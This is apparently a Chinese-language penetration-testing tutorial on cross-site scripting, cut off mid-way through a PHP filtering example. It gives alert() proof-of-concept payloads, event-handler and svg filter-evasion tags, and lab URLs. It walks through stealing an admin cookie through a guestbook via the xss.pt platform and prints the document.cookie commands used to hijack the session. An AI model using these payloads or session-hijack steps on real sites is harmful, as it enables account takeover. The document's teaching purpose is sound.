跨站脚本攻击

文章目录

  • 渗透测试漏洞原理
  • 1. 跨站脚本攻击
    • 1.1 漏洞概述
    • 1.2 XSS漏洞原理
      • 1.2.1 攻击模型
    • 1.3 XSS漏洞危害
    • 1.4 XSS漏洞验证
    • 1.5 XSS漏洞分类
      • 1.5.1 反射型XSS
      • 1.5.2 存储型XSS
      • 1.5.3 DOM型XSS
  • 2. XSS 攻防案例
    • 2.1 固定会话
      • 2.1.1 原理
      • 2.1.2 窃取
      • 2.1.3 欺骗
      • 2.1.4 影响
      • 2.1.5 防御
  • 3. XSS 攻防
    • 3.1 XSS 构造方法
      • 3.1.1 利用<>
      • 3.1.2 javascript 伪协议
      • 3.1.3 事件响应
      • 3.1.4 其他标签
      • 3.1.5 参考
    • 3.2 XSS 变形方式
      • 3.2.1 大小写转换
      • 3.2.2 关键字双写
      • 3.2.3 对伪协议进行转码
      • 3.2.4 插入其他字符
      • 3.2.5 引号的使用
      • 3.2.6 /代替空格
      • 3.2.7 .拆分跨站
    • 3.3 XSS 的防御
      • 3.3.1 黑白名单策略
      • 3.3.2 输入过滤
      • 3.3.3 输出编码
      • 3.3.4 防御DOM型XSS
      • 3.3.5 终极测试代码
    • 4. 靶场练习
      • 3.3.4 防御DOM型XSS
      • 3.3.5 终极测试代码
    • 4. 靶场练习

渗透测试漏洞原理

1. 跨站脚本攻击

跨站脚本攻击_第1张图片

1.1 漏洞概述

​ 跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击,攻击者可以在合法网站或Web应用程序中执行恶意脚本。当wb应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。

​ 跨站脚本攻击,XSS(Cross Site Scripting)。由于与CSS(Cascading Style Sheet)重名,所以就更名为XSS。

​ XSS作为OWASP TOP10(2017)内容之一,主要使用JavaScript来完成恶意攻击的行为,JS可以非常灵活的操作HTML、CSS、浏览器,这就使得XSS攻击“想象”空间非常大。也就是说,JS强大的灵活性和功能,为XSS攻击提供了非常广阔的攻击面。

1.2 XSS漏洞原理

1.2.1 攻击模型

​ XSS通过将精心构造的代码(JavaScript)注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入过的网页,XSS脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。

整个XSS攻击过程,涉及三个角色:

  • 服务器
  • 攻击者
  • 客户端浏览器用户(前端)

注意

  • 搜索框、登录框、微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险。

  • 等待受害者访问被注入恶意代码的页面,很被动,盲打。

  • XSS攻击目标是客户端浏览器用户,由于浏览器的类别不同,攻击效果不同,甚至于同一款浏览器,攻击效果都不一样。

1.3 XSS漏洞危害

XSS是利用JS代码实现攻击,有很多危害:

  • 盗取各种用户账号。
  • 窃取用户Cookie资料,冒充用户身份进入网站。
  • 劫持用户会话执行任意操作。
  • 刷流量,执行弹窗广告。
  • 传播蠕虫病毒。

1.4 XSS漏洞验证

可以使用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做POC(Proof of Concept)。验证XSS漏洞存在的POC如下:

<script>alert(/xss/);script>
<script>confirm(/xss/);script>
<script>confirm('xss');script>
<script>prompt('xss');script>

如果页面弹窗,浏览器把用户提交的字符串当做JS 来执行,并且执行成功,说明XSS 漏洞存在。

1.5 XSS漏洞分类

  • 反射型XSS

  • 存储型XSS

  • DOM 型XSS

1.5.1 反射型XSS

非持久性、参数型的跨站脚本。反射型XSS的代码在Wb应用的参数中,例如搜索框的反射型XSS。

注意到,反射型XSS代码出现在keywords参数中。

http://192.168.188.183/cms/search.php? keywords=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&button=%E6%90%9C%E7%B4%A2

容易被发现,利用难度高,很多漏洞提交平台不收反射型XSS漏洞。

1.5.2 存储型XSS

持久性跨站脚本。持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中。

危害面比较广,漏洞提交平台会接收此类漏洞。

1.5.3 DOM型XSS

DOM型XSS是一种XSS攻击,其中攻击的代码是由于修改受害者浏览器页面的DOM树而执行的。特殊的地方就是攻击代码(payload)在浏览器本地修改DOM树而执行,并不会将payload上传到服务器,这也使得DOM型XSS比较难以检测。

http://192.168.188.183/xss_test/DOM-XSS/?message=%3Cscript%3Ealert(/xss/)%3C/script%3E 

http://192.168.188.183/xss_test/DOM-XSS/#message=%3Cscript%3Ealert(/xss/)%3C/script%3E

注意:

  • 修改DOM 树执行;

  • 采用# 号的方式,参数不会提交到服务器。

2. XSS 攻防案例

XSS平台 https://xss.pt/

在XSS网站上使用该攻击代码

跨站脚本攻击_第2张图片

在浏览器中查看该代码

跨站脚本攻击_第3张图片

然后在cms网站的留言板功能处,输入我们的攻击代码

跨站脚本攻击_第4张图片

管理员登录后台后进行留言管理。我们刚刚留言内容成功输入到了后台。

跨站脚本攻击_第5张图片

返回xss平台,进行查看

跨站脚本攻击_第6张图片

Cookie 欺骗

在浏览器页面点击F12,在控制台输入如下代码

document.cookie
document.cookie= "username=admin";
document.cookie= "userid=1";
document.cookie= "PHPSESSID=oa9ltlmjirk2s5pk27ndpkug91";

跨站脚本攻击_第7张图片

然后在cms的后台登录界面的admin目录,刷新页面,之后就可以无需密码直接就可以登录。

跨站脚本攻击_第8张图片

跨站脚本攻击_第9张图片

2.1 固定会话

2.1.1 原理

用户会话令牌利用Cookie 来实现的,Cookie 是存储在浏览器端的一小段文本,相当于身份证,会有窃取和欺骗的风险。可以利用XSS 攻击窃取到浏览器里的Cookie 信息。

由于XXS 触发需要浏览器客户端用户(受害者)参与,攻击者不清楚何时何地会触发漏洞,这个过程一般被成为XSS 盲打。

XSS平台:https://xss.pt/

2.1.2 窃取

username=admin; userid=1; PHPSESSID=b09m2i6ppthmqqg26no26co6m3

2.1.3 欺骗

document.cookie = 'username=admin'; document.cookie = 'userid=1';
document.cookie = 'PHPSESSID=b09m2i6ppthmqqg26no26co6m3';

2.1.4 影响

  • 黑客可以利用Cookie 信息,也就是身份凭据,登录后台。
  • 即使管理员注销登录,会话依然有效。
  • 即使管理员修改了密码,会话依然有效。

2.1.5 防御

  • 根据实际情况采用“单点登录”。
  • 采用Session 机制。
  • 设置token 值。
  • 对Cookie 数据,设置HttpOnly 属性。
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2020 02:16:57 GMT 
Server: Apache
X-Powered-By: PHP/5.6.40
Set-Cookie: username=AJEST; expires=Mon, 23-Nov-2020 03:16:57 GMT; Max-Age=3600; path=/; domain=localhost; httponly
Content-Length: 0
Keep-Alive: timeout=5, max=100 
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

3. XSS 攻防

3.1 XSS 构造方法

3.1.1 利用<>

利用<>构造关键字

<img src = "图片链接路径" />

<script>alert(/xss/)script>

<a href = "链接路径" >click me!a>

3.1.2 javascript 伪协议

可以通过URL 载入资源的标签。

<a href = "javascript:alert(/xss/)">click me!a>

<img src = "javascript:alert(/xss/)">	 有局限性

XSS 攻击的是浏览器,受前端影响比较大。浏览器的类型,版本等因素都会影响XSS 的效果。

3.1.3 事件响应

“事件驱动”是一种比较典型的编程思想。

事件类型 说明
window 事件 对window 对象触发的事件
Form 事件 HTML 表单内触发的事件
Keyboard 事件 键盘事件
Mouse 事件 鼠标事件
Media 事件 由多媒体触发的事件
<img src = "图片链接路径" />

<img onmouseover = 'alert(/dont touch me!/)' src = "图片链接路径" />

<img onmouseover = 'alert(/dont touch me!/)' src = "#" />

<input type = 'text' onkeydown = 'alert(/xss/)'>
<input type = 'text' onkeyup = 'alert(/xss/)'>

onmouseover:鼠标悬停事件。

onkeydown:在用户按下一个按键时执行事件。

onkeyup:当用户释放键盘按钮执行事件。

onclick:鼠标单击事件。

参考:HTML 事件。

例如:

<a href = "https://pic3.zhimg.com/v2-55ee6ae7a4103bad5262fbaaad5409be_r.jpg"  onclick = 'alert(/wuhu/)'>click me!a>

3.1.4 其他标签

<svg onload='alert(/xss/)'>
    
<input onfocus=alert(/xss/) autofocus>

3.1.5 参考

Cross-Site Scripting (XSS) Cheat Sheet - 2023 Edition | Web Security Academy (portswigger.net)。

3.2 XSS 变形方式

cms 网站搜索框存在反射性XSS 漏洞,POC 如下:

<script>alert(/xss/)script>

尝试在代码角度,对XSS 漏洞进行修复:修改 /cms/search.php 文件,对 $_GET[‘keywords’] 进行过滤,代码如下:

$keyword = $_GET['keywords'];

//将
                    
                    

你可能感兴趣的:(网络安全,网络,安全)